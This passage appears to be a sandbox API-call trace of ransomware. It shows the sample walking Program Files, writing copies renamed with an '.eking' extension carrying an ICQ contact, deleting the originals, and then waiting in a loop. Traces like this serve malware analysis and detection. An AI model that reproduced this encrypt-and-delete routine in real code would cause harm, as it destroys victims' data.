[0294.882] CloseHandle (hObject=0x2f0) returned 1 [0294.883] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe")) returned 1 [0294.885] SetEvent (hEvent=0x2a0) returned 1 [0294.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.885] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=54272) returned 1 [0294.885] CloseHandle (hObject=0x2f0) returned 1 [0294.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0294.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0294.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.886] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=512000) returned 1 [0294.886] CloseHandle (hObject=0x2f0) returned 1 [0294.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0294.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0294.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.887] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=501760) returned 1 [0294.887] CloseHandle (hObject=0x2f0) returned 1 [0294.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0294.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0294.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.888] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=224256) returned 1 [0294.888] CloseHandle (hObject=0x2f0) returned 1 [0294.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0294.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0294.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.889] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=407552) returned 1 [0294.889] CloseHandle (hObject=0x2f0) returned 1 [0294.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0294.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0294.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.890] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=824128) returned 1 [0294.890] CloseHandle (hObject=0x2f0) returned 1 [0294.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0294.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0294.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.891] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=5430) returned 1 [0294.891] CloseHandle (hObject=0x2f0) returned 1 [0294.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0294.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0294.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.892] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=80384) returned 1 [0294.892] CloseHandle (hObject=0x2f0) returned 1 [0294.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe")) returned 0x20 [0294.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe")) returned 0x20 [0294.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.893] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0294.893] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0294.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0294.893] ReadFile (in: hFile=0x2f0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x13a00, lpOverlapped=0x0) returned 1 [0295.191] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x13a10, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x13a10, lpOverlapped=0x0) returned 1 [0295.194] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x102, lpOverlapped=0x0) returned 1 [0295.194] CloseHandle (hObject=0x2f0) returned 1 [0295.195] CloseHandle (hObject=0x304) returned 1 [0295.195] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe")) returned 1 [0295.197] SetEvent (hEvent=0x2a0) returned 1 [0295.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0295.198] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=16960) returned 1 [0295.198] CloseHandle (hObject=0x304) returned 1 [0295.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0295.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0295.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0295.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0295.199] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0295.199] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0295.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0295.200] ReadFile (in: hFile=0x304, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x4240, lpOverlapped=0x0) returned 1 [0295.203] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x4250, lpOverlapped=0x0) returned 1 [0295.204] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xe2, lpOverlapped=0x0) returned 1 [0295.204] CloseHandle (hObject=0x304) returned 1 [0295.204] CloseHandle (hObject=0x2f0) returned 1 [0295.205] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0295.206] SetEvent (hEvent=0x2a0) returned 1 [0295.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0295.207] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=159808) returned 1 [0295.207] CloseHandle (hObject=0x2f0) returned 1 [0295.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0295.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0295.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0295.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0295.208] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0295.209] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0295.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0295.209] ReadFile (in: hFile=0x2f0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x27040, lpOverlapped=0x0) returned 1 [0295.217] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x27050, lpOverlapped=0x0) returned 1 [0295.222] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0295.222] CloseHandle (hObject=0x2f0) returned 1 [0295.222] CloseHandle (hObject=0x304) returned 1 [0295.222] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0295.494] SetEvent (hEvent=0x2a0) returned 1 Thread: id = 106 os_tid = 0x6e0 [0275.066] GetProcessHeap () returned 0xaf0000 [0275.066] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3610728 [0275.066] GetProcessHeap () returned 0xaf0000 [0275.066] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3620730 [0275.067] GetProcessHeap () returned 0xaf0000 [0275.067] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xbd8570 [0275.067] GetProcessHeap () returned 0xaf0000 [0275.067] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x110102) returned 0x3810020 [0275.070] GetProcessHeap () returned 0xaf0000 [0275.070] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xafb620 [0275.070] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0275.070] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0275.071] Wow64DisableWow64FsRedirection (in: OldValue=0x338f83c | out: OldValue=0x338f83c*=0x0) returned 1 [0275.071] GetProcessHeap () returned 0xaf0000 [0275.071] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb620 | out: hHeap=0xaf0000) returned 1 [0275.071] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.071] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.071] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.071] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.071] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.072] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.073] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.074] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.075] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 